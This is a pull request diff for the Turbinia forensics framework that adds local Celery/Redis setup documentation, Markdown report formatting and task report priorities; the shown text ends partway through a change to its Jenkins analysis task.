Repository: google/turbinia
Pull request #345 (2019-01-24 03:34:03)

Add documentation for local setup
Added documentation for setting up Turbinia locally on Ubuntu 18.04


Patch:
diff --git a/docs/developing-new-tasks.md b/docs/developing-new-tasks.md
index 7262624..97bc09d 100644
--- a/docs/developing-new-tasks.md
+++ b/docs/developing-new-tasks.md
@@ -124,6 +124,38 @@ it's possible that there could be more or less depending on how much you want to
 split it up. Then you just need to add a reference to the new job in
 `turbinia/jobs/__init__.py`.
 
+## Reporting
+
+Tasks can return report data in Markdown format by adding it as a string to
+`result.report_data`.  If high priority findings are found, you can change
+`result.report_priority`.  Priorites are 0 - 100, and the highest priority is 0.
+This will affect the ordering in the report, and if the priority is a value less
+than what is set with `--priority_filter` (i.e. a higher priority), then the
+full report data will be printed out when `--full_report` is specified.
+
+Tasks can use the helper methods in turbinia.lib.text_formatter to help format
+the text with formatting like bold and code.  Note that when setting headings in
+a task report, do not use heading1 through heading3 because these are used in
+other sections of the report, but you can use heading4 and above.
+
+## Tips
+*   If possible, set a meaningful `status` message that summarizes the Task
+    execution or output.  This can be done by either by setting the `status`
+    parameter when calling `result.close()`, or by explicitly setting the
+    `result.status` attribute.  This is the line of output that shows up
+    for each task when running `turbiniactl status`.  If a Task has a
+    low `report_priority`, then the full report data will not show up in
+    the `turbiniactl status`, and so the status may be the only place that
+    Task info will bubble up in the output by default, so setting it to
+    something useful can be important.
+*   If your Task executes an external command that can generate a log file,
+    it's helpful to specify the appropriate flags to generate this and then
+    automatically save it by setting the `log_files` paramter when calling
+    `self.execute()`.  Additionally, if there are flags that control the
+    verbosity of this log file, it's helpful to check the `config.DEBUG_TASKS`
+    config parameter and log accordingly, and this way all tasks can generate
+    debug output when this is configured.
+
 ## Notes
 
 *   The reason we separate out the strings processing into two separate Tasks is
diff --git a/docs/how-it-works.md b/docs/how-it-works.md
index 6932354..790c111 100644
--- a/docs/how-it-works.md
+++ b/docs/how-it-works.md
@@ -95,7 +95,7 @@ management of Evidence, Jobs, Tasks and Workers.
 Jobs are configured to run for specific Evidence types, and if the Task
 Manager sees a new piece of Evidence (either from a new Turbinia request, or
 because another Task generated a new piece of Evidence), and there is a Job
-that configured to run for that type of Evidence, then the Task Mananger will
+that is configured to run for that type of Evidence, then the Task Mananger will
 create a new Job for it.  The Job then generates one or more Tasks which will
 be immediately scheduled for execution.
 
diff --git a/docs/install.md b/docs/install.md
index 814fe9f..097c73a 100644
--- a/docs/install.md
+++ b/docs/install.md
@@ -1,10 +1,7 @@
 # High-Level Setup
 
-Turbinia can be run either in the Google Cloud, or on local machines. If you run
-Turbinia on local machines, it will still use
-[Cloud Pub/Sub](https://cloud.google.com/pubsub) and
-[Cloud Functions](https://cloud.google.com/functions) for the client to talk to
-the server, and for the server to talk to the worker nodes.
+Turbinia can be run either in the Google Cloud, on local machines, or in a
+hybrid mode.
 
 ## Local Setup
 
@@ -46,10 +43,43 @@ process these images as 'rawdisk' Evidence.
 
 # Instructions
 
-## GCP Project Setup (Cloud Pub/Sub, Cloud Function, Cloud Datastore)
+## Local Turbinia
+
+The following is one possible configuration and setup for running Turbinia
+locally using Celery and Redis on Ubuntu 18.04. This setup does not require
+Google Cloud Platform, although a configuration to write output to GCS is
+possible.
+
+### 1. Install and configure Turbinia
+
+*    Follow [Core Installation Steps](#core-installation-steps).
+
+### 2. Install additional dependencies
+
+*    Make sure you are still in the Virtualenv
+*    `cd <localgitpath>`
+*    `pip install .[worker]`
+*    `pip install .[local]`
+
+### 3. Run Redis and Turbinia
+
+*    Start Redis server on the local machine by following the instructions [here](https://redis.io/topics/quickstart).
+*    Run `turbiniactl -C -S server` to start Turbinia server.
+*    Run `turbiniactl -C celeryworker` to start Turbinia Celery worker.
+
+## GCP Turbinia
+
+The following is a one possible configuration and setup for Turbinia in GCP.
+This is still a rough process and future versions will be containerized.
+
+**NOTE:** When running Turbinia on GCP, it's recommended that you have at least
+two Google Cloud Engine (GCE) instances, respectively for the server and 1 or
+more workers. In a small setup, you can also both the server and worker on a
+single instance.
 
-**NOTE:** This section is mandatory for Turbinia running on GCP or local
-machines.
+### 1. GCP Project Setup (Cloud Pub/Sub, Cloud Function, Cloud Datastore)
+
+**NOTE:** This section is mandatory for Turbinia running on GCP.
 
 *   Create or select a Google Cloud Platform project on the
     [Google Developers Console](https://console.developers.google.com)
@@ -69,23 +99,7 @@ machines.
     *   Select the region that your data should be in. No need to create any
         Entities after selecting your region
 
-## Local Turbinia
-
-*   If Turbinia will run on local machines, jump to
-    [Core Installation Steps](#core-installation-steps)
-*   Otherwise, follow [GCP Turbinia](#gcp-turbinia)
-
-## GCP Turbinia
-
-The following is a one possible configuration and setup for Turbinia in GCP.
-This is still a rough process and future versions will be containerized.
-
-**NOTE:** When running Turbinia on GCP, it's recommended that you have at least
-two Google Cloud Engine (GCE) instances, respectively for the server and 1 or
-more workers. In a small setup, you can also both the server and worker on a
-single instance.
-
-### 1. Create a GCE Instance as Server
+### 2. Create a GCE Instance as Server
 
 *   Create a
     [new GCE instance](https://console.cloud.google.com/compute/instances) from
@@ -94,7 +108,7 @@ single instance.
         free to test and fix them ;)
 *   Follow [Core Installation Steps](#core-installation-steps)
 
-### 2. Create a Google Cloud Storage (GCS) Bucket
+### 3. Create a Google Cloud Storage (GCS) Bucket
 
 **NOTE:** GCS FUSE is used here for convenience to keep scripts and log files,
 but this isn't strictly necessary for Turbinia to run if you have an alternate
@@ -112,13 +126,13 @@ means to save logging data.
     `GOOGLE_APPLICATION_CREDENTIALS` environment var in the middle of the script
     that needs to be updated
 
-### 3. Create an Instance Template (Prep Work for Worker)
+### 4. Create an Instance Template (Prep Work for Worker)
 
 *   Stop the server instance
 *   Create a new image from the server VM's disk
 *   Create a new Instance Template using the newly created image
 
-### 4. Create a GCE Instance as Worker
+### 5. Create a GCE Instance as Worker
 
 *   Create a new Managed Instance Group from the newly created Instance Template
 *   In your worker VM, add a new custom metadata key `startup-script-url`
@@ -146,7 +160,9 @@ means to save logging data.
         `turbinia ALL=(ALL:ALL) NOPASSWD: ALL`
 *   Log in as turbinia
     *   `su - turbinia`
-*   Continue to [Google Cloud SDK](#2-google-cloud-sdk)
+*   If you are running Turbinia locally, skip to
+    [Inside the Virtualenv](#3-inside-the-virtualenv), otherwise continue to
+    [Google Cloud SDK](#2-google-cloud-sdk).
 
 ### 2. Google Cloud SDK
 
@@ -220,7 +236,10 @@ means to save logging data.
     *   Directly configure `<localgitpath>/turbinia/config/turbinia_config.py`
     *   ***NOTE***: Match the `PUBSUB_TOPIC` variable in the configuration to
         the name of the topic and subscription you created in the GCP.
-*   Continue to [Deploy the Cloud Functions](#deploy-the-cloud-functions)
+    *   ***NOTE***: If you are running Turbinia locally, make sure to set `GCS_OUTPUT_PATH` to `None`.
+*   If you are running Turbinia locally, return to 
+    [Install additional dependencies](#2-install-additional-dependencies),
+    otherwise continue to [Deploy the Cloud Functions](#deploy-the-cloud-functions).
 
 #### Deploy the Cloud Functions
 
diff --git a/turbinia/client.py b/turbinia/client.py
index c27cb81..d736023 100644
--- a/turbinia/client.py
+++ b/turbinia/client.py
@@ -16,10 +16,12 @@
 
 from __future__ import unicode_literals
 
+from collections import defaultdict
 from datetime import datetime
 from datetime import timedelta
 import json
 import logging
+from operator import itemgetter
 import os
 import stat
 import time
@@ -27,8 +29,8 @@ import time
 from turbinia import config
 from turbinia.config import logger
 from turbinia import task_manager
-from turbinia import workers
 from turbinia import TurbiniaException
+from turbinia.lib import text_formatter as fmt
 from turbinia.workers.artifact import FileArtifactExtractionTask
 from turbinia.workers.analysis.wordpress import WordpressAccessLogAnalysisTask
 from turbinia.workers.analysis.jenkins import JenkinsAnalysisTask
@@ -162,20 +164,33 @@ class TurbiniaClient(object):
     while True:
       task_results = self.get_task_data(
           instance, project, region, request_id=request_id, user=user)
-      completed_count = 0
-      uncompleted_count = 0
+      completed_tasks = []
+      uncompleted_tasks = []
+      last_count = 0
       for task in task_results:
         if task.get('successful') is not None:
-          completed_count += 1
+          completed_tasks.append(task)
         else:
-          uncompleted_count += 1
+          uncompleted_tasks.append(task)
 
-      if completed_count and completed_count == len(task_results):
+      if completed_tasks and len(completed_tasks) == len(task_results):
         break
 
-      log.info(
-          '{0:d} Tasks found, {1:d} completed. Waiting {2:d} seconds.'.format(
-              len(task_results), completed_count, poll_interval))
+      completed_names = [t.get('name') for t in completed_tasks]
+      completed_names = ', '.join(sorted(completed_names))
+      uncompleted_names = [t.get('name') for t in uncompleted_tasks]
+      uncompleted_names = ', '.join(sorted(uncompleted_names))
+      total_count = len(completed_tasks) + len(uncompleted_tasks)
+      msg = (
+          'Tasks completed ({0:d}/{1:d}): [{2:s}], waiting for [{3:s}].'.format(
+              len(completed_tasks), total_count, completed_names,
+              uncompleted_names))
+      if len(completed_tasks) > last_count:
+        log.info(msg)
+      else:
+        log.debug(msg)
+
+      last_count = len(completed_tasks)
       time.sleep(poll_interval)
 
     log.info('All {0:d} Tasks completed'.format(len(task_results)))
@@ -235,9 +250,61 @@ class TurbiniaClient(object):
 
     return results[0]
 
+  def format_task_detail(self, task, show_files=False):
+    """Formats a single task in detail.
+
+    Args:
+      task (dict): The task to format data for
+      show_files (bool): Whether we want to print out log file paths
+
+    Returns:
+      list: Formatted task data
+    """
+    report = []
+    saved_paths = task.get('saved_paths') or []
+    status = task.get('status') or 'No task status'
+
+    report.append(fmt.heading2(task.get('name')))
+    line = '{0:s} {1:s}'.format(fmt.bold('Status:'), status)
+    report.append(fmt.bullet(line))
+    report.append(fmt.bullet('Task Id: {0:s}'.format(task.get('id'))))
+    report.append(
+        fmt.bullet('Executed on worker {0:s}'.format(task.get('worker_name'))))
+    if task.get('report_data'):
+      report.append('')
+      report.append(fmt.heading3('Task Reported Data'))
+      report.extend(task.get('report_data').splitlines())
+    if show_files:
+      report.append('')
+      report.append(fmt.heading3('Saved Task Files:'))
+      for path in saved_paths:
+        report.append(fmt.bullet(fmt.code(path)))
+      report.append('')
+    return report
+
+  def format_task(self, task, show_files=False):
+    """Formats a single task in short form.
+
+    Args:
+      task (dict): The task to format data for
+      show_files (bool): Whether we want to print out log file paths
+
+    Returns:
+      list: Formatted task data
+    """
+    report = []
+    saved_paths = task.get('saved_paths') or []
+    status = task.get('status') or 'No task status'
+    report.append(fmt.bullet('{0:s}: {1:s}'.format(task.get('name'), status)))
+    if show_files:
+      for path in saved_paths:
+        report.append(fmt.bullet(fmt.code(path), level=2))
+      report.append('')
+    return report
+
   def format_task_status(
       self, instance, project, region, days=0, task_id=None, request_id=None,
-      user=None, all_fields=False):
+      user=None, all_fields=False, full_report=False, priority_filter=20):
     """Formats the recent history for Turbinia Tasks.
 
     Args:
@@ -251,47 +318,61 @@ class TurbiniaClient(object):
       user (string): The user of the request we want tasks for.
       all_fields (bool): Include all fields for the task, including task,
           request ids and saved file paths.
+      full_report (bool): Generate a full markdown report instead of just a
+          summary.
+      priority_filter (int): Output only a summary for Tasks with a value
+          greater than the priority_filter.
 
     Returns:
       String of task status
     """
     task_results = self.get_task_data(
         instance, project, region, days, task_id, request_id, user)
+    # Sort all tasks by the report_priority so that tasks with a higher
+    # priority are listed first in the report.
+    task_results = sorted(task_results, key=itemgetter('report_priority'))
     num_results = len(task_results)
-    results = []
     if not num_results:
-      msg = '\nNo Tasks found.'
+      msg = 'No Turbinia Tasks found.'
       log.info(msg)
-      return msg
-
-    results.append('\nRetrieved {0:d} Task results:'.format(num_results))
+      return '\n{0:s}'.format(msg)
+
+    # Build up data
+    report = []
+    user = task_results[0].get('user')
+    request_id = task_results[0].get('request_id')
+    success_types = ['Successful', 'Failed', 'Scheduled or Running']
+    success_values = [True, False, None]
+    # Reverse mapping values to types
+    success_map = dict(zip(success_values, success_types))
+    task_map = defaultdict(list)
+    success_types.insert(0, 'High Priority')
     for task in task_results:
-      if task.get('successful'):
-        success = 'Successful'
-      elif task.get('successful') is None:
-        success = 'Running'
+      if task.get('report_priority') <= priority_filter:
+        task_map['High Priority'].append(task)
       else:
-        success = 'Failed'
-
-      status = task.get('status') or 'No task status'
-      if all_fields:
-        results.append(
-            '{0:s} request: {1:s} task: {2:s} {3:s} {4:s} {5:s} {6:s}: {7:s}'
-            .format(
-                task.get('last_update'), task.get('request_id'), task.get('id'),
-                task.get('name'), task.get('user'), task.get('worker_name'),
-                success, status))
-        saved_paths = task.get('saved_paths', [])
-        if saved_paths is None:
-          saved_paths = []
-        for path in saved_paths:
-          results.append('\t{0:s}'.format(path))
-      else:
-        results.append(
-            '{0:s} {1:s} {2:s}: {3:s}'.format(
-                task.get('last_update'), task.get('name'), success, status))
+        task_map[success_map[task.get('successful')]].append(task)
+
+    # Generate report header
+    report.append('\n')
+    report.append(fmt.heading1('Turbinia report {0:s}'.format(request_id)))
+    report.append(
+        fmt.bullet(
+            'Processed {0:d} Tasks for user {1:s}'.format(num_results, user)))
+
+    # Print report data for tasks
+    for success_type in success_types:
+      report.append('')
+      report.append(fmt.heading1('{0:s} Tasks'.format(success_type)))
+      if not task_map[success_type]:
+        report.append(fmt.bullet('None'))
+      for task in task_map[success_type]:
+        if full_report and success_type == success_types[0]:
+          report.extend(self.format_task_detail(task, show_files=all_fields))
+        else:
+          report.extend(self.format_task(task, show_files=all_fields))
 
-    return '\n'.join(results)
+    return '\n'.join(report)
 
   def run_local_task(self, task_name, request):
     """Runs a Turbinia Task locally.
diff --git a/turbinia/config/turbinia_config.py b/turbinia/config/turbinia_config.py
index 6318f7a..d5e9522 100644
--- a/turbinia/config/turbinia_config.py
+++ b/turbinia/config/turbinia_config.py
@@ -107,13 +107,13 @@ GCS_OUTPUT_PATH = 'gs://%s/output' % BUCKET_NAME
 ################################################################################
 
 # Method for communication between nodes
-CELERY_BROKER = None
+CELERY_BROKER = 'redis://localhost'
 
 # Storage for task results/status
-CELERY_BACKEND = None
+CELERY_BACKEND = 'redis://localhost'
 
 # Can be the same as CELERY_BROKER
-KOMBU_BROKER = None
+KOMBU_BROKER = CELERY_BROKER
 
 # Used to namespace communications.
 KOMBU_CHANNEL = '%s-kombu' % INSTANCE_ID
@@ -123,6 +123,6 @@ KOMBU_CHANNEL = '%s-kombu' % INSTANCE_ID
 KOMBU_DURABLE = True
 
 # Use Redis for state management
-REDIS_HOST = None
-REDIS_PORT = None
-REDIS_DB = None
+REDIS_HOST = 'localhost'
+REDIS_PORT = '6379'
+REDIS_DB = '0'
diff --git a/turbinia/evidence.py b/turbinia/evidence.py
index 1f0294c..e5326a4 100644
--- a/turbinia/evidence.py
+++ b/turbinia/evidence.py
@@ -369,7 +369,7 @@ class FilteredTextFile(TextFile):
 class ExportedFileArtifact(Evidence):
   """Exported file artifact."""
 
-  def __init__(self, artifact_name):
+  def __init__(self, artifact_name=None):
     """Initializes an exported file artifact."""
     super(ExportedFileArtifact, self).__init__()
     self.artifact_name = artifact_name
diff --git a/turbinia/jobs/grep.py b/turbinia/jobs/grep.py
index 9fb2014..b2ee22f 100644
--- a/turbinia/jobs/grep.py
+++ b/turbinia/jobs/grep.py
@@ -37,7 +37,7 @@ class GrepJob(interface.TurbiniaJob):
     """Create task.
 
     Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
 
     Returns:
         A list of tasks to schedule.
diff --git a/turbinia/jobs/hadoop.py b/turbinia/jobs/hadoop.py
index 5acaeb1..f85cc4e 100644
--- a/turbinia/jobs/hadoop.py
+++ b/turbinia/jobs/hadoop.py
@@ -37,7 +37,7 @@ class HadoopAnalysisJob(interface.TurbiniaJob):
     """Create task.
 
     Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
 
     Returns:
         A list of tasks to schedule.
diff --git a/turbinia/jobs/http_access_logs.py b/turbinia/jobs/http_access_logs.py
index ab44f4b..8ef0a29 100644
--- a/turbinia/jobs/http_access_logs.py
+++ b/turbinia/jobs/http_access_logs.py
@@ -47,7 +47,7 @@ class HTTPAccessLogExtractionJob(interface.TurbiniaJob):
     """Create task.
 
     Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
 
     Returns:
         A list of tasks to schedule.
@@ -71,7 +71,7 @@ class HTTPAccessLogAnalysisJob(interface.TurbiniaJob):
   def create_tasks(self, evidence):
     """Create task.
     Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
     Returns:
         A list of tasks to schedule.
     """
diff --git a/turbinia/jobs/jenkins.py b/turbinia/jobs/jenkins.py
index 1d56086..514a85f 100644
--- a/turbinia/jobs/jenkins.py
+++ b/turbinia/jobs/jenkins.py
@@ -39,7 +39,7 @@ class JenkinsAnalysisJob(interface.TurbiniaJob):
     """Create task for Jenkins analysis job.
 
     Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
 
     Returns:
         A list of tasks to schedule.
diff --git a/turbinia/jobs/plaso.py b/turbinia/jobs/plaso.py
index 68a3da4..c5aa4ca 100644
--- a/turbinia/jobs/plaso.py
+++ b/turbinia/jobs/plaso.py
@@ -42,7 +42,7 @@ class PlasoJob(interface.TurbiniaJob):
     """Create task for Plaso.
 
     Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
 
     Returns:
         A list of PlasoTasks.
diff --git a/turbinia/jobs/psort.py b/turbinia/jobs/psort.py
index 4572f65..8a5db6d 100644
--- a/turbinia/jobs/psort.py
+++ b/turbinia/jobs/psort.py
@@ -36,7 +36,7 @@ class PsortJob(interface.TurbiniaJob):
     """Create task for Psort.
 
     Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
 
     Returns:
         A list of PsortTasks.
diff --git a/turbinia/jobs/sshd.py b/turbinia/jobs/sshd.py
index 5e30522..004d1d8 100644
--- a/turbinia/jobs/sshd.py
+++ b/turbinia/jobs/sshd.py
@@ -44,7 +44,7 @@ class SSHDExtractionJob(interface.TurbiniaJob):
     """Create task.
 
     Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
 
     Returns:
         A list of tasks to schedule.
@@ -67,7 +67,7 @@ class SSHDAnalysisJob(interface.TurbiniaJob):
     """Create task.
 
     Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
 
     Returns:
         A list of tasks to schedule.
diff --git a/turbinia/jobs/strings.py b/turbinia/jobs/strings.py
index b30e14a..4b7387d 100644
--- a/turbinia/jobs/strings.py
+++ b/turbinia/jobs/strings.py
@@ -43,7 +43,7 @@ class StringsJob(interface.TurbiniaJob):
     """Create task for Strings.
 
     Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
 
     Returns:
         A list of tasks to schedule.
diff --git a/turbinia/jobs/tomcat.py b/turbinia/jobs/tomcat.py
index 13c7cb2..e13c293 100644
--- a/turbinia/jobs/tomcat.py
+++ b/turbinia/jobs/tomcat.py
@@ -42,7 +42,7 @@ class TomcatExtractionJob(interface.TurbiniaJob):
     """Create task.
 
      Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
 
      Returns:
         A list of tasks to schedule.
@@ -65,7 +65,7 @@ class TomcatAnalysisJob(interface.TurbiniaJob):
     """Create task.
 
      Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
 
      Returns:
         A list of tasks to schedule.
diff --git a/turbinia/jobs/worker_stat.py b/turbinia/jobs/worker_stat.py
index ac3c347..63a1f25 100644
--- a/turbinia/jobs/worker_stat.py
+++ b/turbinia/jobs/worker_stat.py
@@ -37,7 +37,7 @@ class StatJob(interface.TurbiniaJob):
     """Create task for Stat.
 
     Args:
-      evidence: List of evidence object to process
+      evidence: List of evidence objects to process
 
     Returns:
         A list of StatTasks.
diff --git a/turbinia/lib/text_formatter.py b/turbinia/lib/text_formatter.py
new file mode 100644
index 0000000..12fb711
--- /dev/null
+++ b/turbinia/lib/text_formatter.py
@@ -0,0 +1,115 @@
+#!/usr/bin/env python
+#
+# Copyright 2017 Google Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Methods for formatting text."""
+
+from __future__ import print_function
+from __future__ import unicode_literals
+
+
+def bold(text):
+  """Formats text as bold in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '**{0:s}**'.format(text.strip())
+
+
+def heading1(text):
+  """Formats text as heading 1 in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '# {0:s}'.format(text.strip())
+
+
+def heading2(text):
+  """Formats text as heading 2 in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '## {0:s}'.format(text.strip())
+
+
+def heading3(text):
+  """Formats text as heading 3 in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '### {0:s}'.format(text.strip())
+
+
+def heading4(text):
+  """Formats text as heading 4 in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '#### {0:s}'.format(text.strip())
+
+
+def heading5(text):
+  """Formats text as heading 5 in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '##### {0:s}'.format(text.strip())
+
+
+def bullet(text, level=1):
+  """Formats text as a bullet in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '{0:s}* {1:s}'.format('    ' * (level - 1), text.strip())
+
+
+def code(text):
+  """Formats text as code in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '`{0:s}`'.format(text.strip())
diff --git a/turbinia/state_manager.py b/turbinia/state_manager.py
index 1619a53..c4d4889 100644
--- a/turbinia/state_manager.py
+++ b/turbinia/state_manager.py
@@ -34,11 +34,15 @@ from turbinia.workers import TurbiniaTask
 from turbinia.workers import TurbiniaTaskResult
 
 config.LoadConfig()
-if config.TASK_MANAGER.lower() == 'psq':
+if config.STATE_MANAGER.lower() == 'datastore':
   from google.cloud import datastore
   from google.cloud import exceptions
-elif config.TASK_MANAGER.lower() == 'celery':
+elif config.STATE_MANAGER.lower() == 'redis':
   import redis
+else:
+  msg = 'State Manager type "{0:s}" not implemented'.format(
+      config.STATE_MANAGER)
+  raise TurbiniaException(msg)
 
 DATETIME_FORMAT = '%Y-%m-%dT%H:%M:%S'
 MAX_DATASTORE_STRLEN = 1500
diff --git a/turbinia/task_manager.py b/turbinia/task_manager.py
index 838390b..af6ecd1 100644
--- a/turbinia/task_manager.py
+++ b/turbinia/task_manager.py
@@ -42,7 +42,8 @@ elif config.TASK_MANAGER.lower() == 'celery':
 
 log = logging.getLogger('turbinia')
 
-PSQ_TASK_TIMEOUT = 604800
+PSQ_TASK_TIMEOUT_SECONDS = 604800
+PSQ_QUEUE_WAIT_SECONDS = 2
 
 
 def get_task_manager():
@@ -420,7 +421,7 @@ class PSQTaskManager(BaseTaskManager):
         completed_tasks.append(task)
       else:
         task.result = workers.TurbiniaTaskResult.deserialize(
-            task.stub.result(timeout=PSQ_TASK_TIMEOUT))
+            task.stub.result(timeout=PSQ_TASK_TIMEOUT_SECONDS))
         completed_tasks.append(task)
 
     outstanding_task_count = len(self.tasks) - len(completed_tasks)
@@ -447,3 +448,4 @@ class PSQTaskManager(BaseTaskManager):
             task.name, evidence_.name))
     task.stub = self.psq.enqueue(
         task_runner, task.serialize(), evidence_.serialize())
+    time.sleep(PSQ_QUEUE_WAIT_SECONDS)
diff --git a/turbinia/turbiniactl.py b/turbinia/turbiniactl.py
index 714bdc1..3e8e900 100644
--- a/turbinia/turbiniactl.py
+++ b/turbinia/turbiniactl.py
@@ -61,11 +61,11 @@ def main():
   parser.add_argument(
       '-q', '--quiet', action='store_true', help='Show minimal output')
   parser.add_argument(
-      '-v', '--verbose', action='store_true', help='Show verbose output')
-  # TODO(aarontp): Turn off debug by default
+      '-v', '--verbose', action='store_true', help='Show verbose output',
+      default=True)
   parser.add_argument(
       '-d', '--debug', action='store_true', help='Show debug output',
-      default=True)
+      default=False)
   parser.add_argument(
       '-a', '--all_fields', action='store_true',
       help='Show all task status fields in output', required=False)
@@ -254,6 +254,17 @@ def main():
   parser_status.add_argument(
       '-r', '--request_id', help='Show tasks with this Request ID',
       required=False)
+  parser_status.add_argument(
+      '-p', '--priority_filter', default=20, type=int, required=False,
+      help='This sets what report sections are shown in full detail in '
+      'report output.  Any tasks that have set a report_priority value '
+      'equal to or lower than this setting will be shown in full detail, and '
+      'tasks with a higher value will only have a summary shown.  To see all '
+      'tasks report output in full detail, set --priority_filter=100')
+  parser_status.add_argument(
+      '-R', '--full_report',
+      help='Generate full markdown report instead of just a summary',
+      action='store_true', required=False)
   parser_status.add_argument(
       '-t', '--task_id', help='Show task for given Task ID', required=False)
   parser_status.add_argument(
@@ -265,12 +276,10 @@ def main():
   args = parser.parse_args()
   if args.quiet:
     log.setLevel(logging.ERROR)
-  elif args.verbose:
-    log.setLevel(logging.INFO)
   elif args.debug:
     log.setLevel(logging.DEBUG)
   else:
-    log.setLevel(logging.WARNING)
+    log.setLevel(logging.INFO)
 
   log.info('Turbinia version: {0:s}'.format(__version__))
 
@@ -401,7 +410,8 @@ def main():
             instance=config.INSTANCE_ID, project=config.TURBINIA_PROJECT,
             region=region, days=args.days_history, task_id=args.task_id,
             request_id=args.request_id, user=args.user,
-            all_fields=args.all_fields))
+            all_fields=args.all_fields, full_report=args.full_report,
+            priority_filter=args.priority_filter))
   elif args.command == 'listjobs':
     log.info('Available Jobs:')
     client.list_jobs()
diff --git a/turbinia/workers/__init__.py b/turbinia/workers/__init__.py
index 8a5dff5..fbfe6ff 100644
--- a/turbinia/workers/__init__.py
+++ b/turbinia/workers/__init__.py
@@ -51,6 +51,9 @@ class TurbiniaTaskResult(object):
       evidence: List of newly created Evidence objects.
       id: Unique Id of result (string of hex)
       input_evidence: The evidence this task processed.
+      report_data (string): Markdown data that can be used in a Turbinia report.
+      report_priority (int): Value between 0-100 (0 is the highest priority) to
+          be used to order report sections.
       request_id: The id of the initial request to process this evidence.
       run_time: Length of time the task ran for.
       saved_paths: Paths where output has been saved.
@@ -65,7 +68,10 @@ class TurbiniaTaskResult(object):
   """
 
   # The list of attributes that we will persist into storage
-  STORED_ATTRIBUTES = ['worker_name', 'status', 'saved_paths', 'successful']
+  STORED_ATTRIBUTES = [
+      'worker_name', 'report_data', 'report_priority', 'status', 'saved_paths',
+      'successful'
+  ]
 
   def __init__(
       self, evidence=None, input_evidence=None, base_output_dir=None,
@@ -84,6 +90,8 @@ class TurbiniaTaskResult(object):
     self.user = None
     self.output_dir = None
 
+    self.report_data = None
+    self.report_priority = 50
     self.start_time = datetime.now()
     self.run_time = None
     self.saved_paths = []
@@ -270,7 +278,7 @@ class TurbiniaTask(object):
 
   Attributes:
       base_output_dir: The base directory that output will go into.  Per-task
-                       directories will be created under this.
+          directories will be created under this.
       id: Unique Id of task (string of hex)
       last_update: A datetime object with the last time the task was updated.
       name: Name of task
@@ -281,9 +289,9 @@ class TurbiniaTask(object):
       run_local: Whether we are running locally without a Worker or not.
       state_key: A key used to manage task state
       stub: The task manager implementation specific task stub that exists
-            server side to keep a reference to the remote task objects.  For PSQ
-            this is a task result object, but other implementations have their
-            own stub objects.
+          server side to keep a reference to the remote task objects.  For PSQ
+          this is a task result object, but other implementations have their
+          own stub objects.
       tmp_dir: Temporary directory for Task to write to.
       user: The user who requested the task.
       _evidence_config (dict): The config that we want to pass to all new
diff --git a/turbinia/workers/analysis/jenkins.py b/turbinia/workers/analysis/jenkins.py
index b4759a8..a7bb3f2 100644
--- a/turbinia/workers/analysis/jenkins.py
+++ b/turbinia/workers/analysis/jenkins.py
@@ -21,6 +21,7 @@ import re
 
 from turbinia import TurbiniaException
 from turbinia.evidence import ReportText
+from turbinia.lib import text_formatter as fmt
 from turbinia.workers import TurbiniaTask
 from turbinia.lib.utils import extract_artifacts
 from turbinia.lib.utils import bruteforce_password_hashes
@@ -71,8 +72,10 @@ class JenkinsAnalysisTask(TurbiniaTask):
 
       credentials.extend(extracted_credentials)
 
-    analysis_report = self.analyze_jenkins(version, credentials)
-    output_evidence.text_data = analysis_report
+    (report, priority, summary) = self.analyze_jenkins(version, credentials)
+    output_evidence.text_data = report
+    result.report_data = report
+    result.report_priority = priority
 
     # Write the report to the output file.
     with open(output_file_path, 'w') as fh:
@@ -81,11 +84,7 @@ class JenkinsAnalysisTask(TurbiniaTask):
 
     # Add the resulting evidence to the result object.
     result.add_evidence(output_evidence, evidence.config)
-    if analysis_report:
-      status = analysis_report[0].strip()
-    else:
-      status = 'Jenkins analysis found no potential issues'
-    result.close(self, success=True, status=status)
+    result.close(self, success=True, status=summary)
 
     return result
 
@@ -141,9 +140,15 @@ class JenkinsAnalysisTask(TurbiniaTask):
       credentials (list): of tuples with username and password hash.
 
     Returns:
-      str: of description of security of Jenkins configuration file.
+      Tuple(
+        report_text(str): The report data
+        report_priority(int): The priority of the report (0 - 100)
+        summary(str): A summary of the report (used for task status)
+      )
     """
-    findings = []
+    report = []
+    summary = ''
+    priority = 50
     credentials_registry = {hash: username for username, hash in credentials}
     # TODO: Add timeout parameter when dynamic configuration is ready.
     # Ref: https://github.com/google/turbinia/issues/244
@@ -151,15 +156,22 @@ class JenkinsAnalysisTask(TurbiniaTask):
 
     if not version:
       version = 'Unknown'
-    findings.append('Jenkins version: {0:s}'.format(version))
+    report.append(fmt.bullet('Jenkins version: {0:s}'.format(version)))
 
     if weak_passwords:
